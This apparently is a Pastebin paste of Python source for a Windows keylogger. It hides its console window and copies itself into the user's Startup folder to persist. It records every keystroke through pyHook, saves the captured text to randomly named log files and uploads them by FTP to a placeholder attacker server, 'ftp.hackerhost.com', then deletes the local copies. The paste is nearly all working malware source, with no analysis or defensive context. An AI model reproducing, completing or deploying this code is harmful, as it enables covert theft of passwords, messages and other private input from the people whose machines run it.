Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pythoncom, pyHook
- import os
- import sys
- import ftplib
- import datetime,time
- import win32event, win32api, winerror
- import random,string
- import getpass
- import shutil
- mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
- if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
- mutex = None
- exit(0)
- x=''
- data=''
- count=0
- def checkfor():
- username = getpass.getuser()
- fullpath = os.sep.join(["C:","Users",username,"AppData","Roaming","Microsoft","Windows","Start Menu","Programs","Startup"])
- nameofscript = sys.argv[0].split(os.sep)
- nameofscript = nameofscript[len(nameofscript)-1]
- if(not os.path.isfile(os.sep.join([fullpath,nameofscript]))):
- shutil.copy2(os.sep.join([os.getcwd(),nameofscript]), os.sep.join([fullpath,nameofscript]))
- checkfor()
- def hide():
- import win32console,win32gui
- window = win32console.GetConsoleWindow()
- win32gui.ShowWindow(window,0)
- return True
- def ftp():
- global data,count
- if len(data)>15:
- count+=1
- FILENAME="logs-"+str(count)+"-"+random_s()+".txt"
- fp=open(FILENAME,"a")
- fp.write(data)
- fp.close()
- data=''
- try:
- SERVER="ftp.hackerhost.com"
- USERNAME="ftp_username"
- PASSWORD="ftp_password"
- SSL=0
- OUTPUT_DIR="/"
- if SSL==0:
- ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
- elif SSL==1:
- ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
- ft.cwd(OUTPUT_DIR)
- fp=open(FILENAME,'rb')
- cmd= 'STOR' +' '+FILENAME
- ft.storbinary(cmd,fp)
- ft.quit()
- fp.close()
- os.remove(FILENAME)
- except Exception as e:
- pass
- return True
- def write():
- global data,count
- if(len(data)>15):
- count+=1
- FILENAME="logs-"+str(count)+"-"+random_s()+".txt"
- fp=open(FILENAME,"a")
- fp.write(data)
- fp.close()
- data=''
- def random_s():
- return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(45))
- def main():
- global x
- x=4
- hide()
- return True
- main()
- def keypressed(event):
- global x,data
- if event.Ascii==13:
- keys='<ENTER>'
- elif event.Ascii==8:
- keys='<BACK SPACE>'
- elif event.Ascii==9:
- keys='<TAB>'
- else:
- keys=chr(event.Ascii)
- data=data+keys
- if x==4:
- ftp()
- obj = pyHook.HookManager()
- obj.KeyDown = keypressed
- obj.HookKeyboard();
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement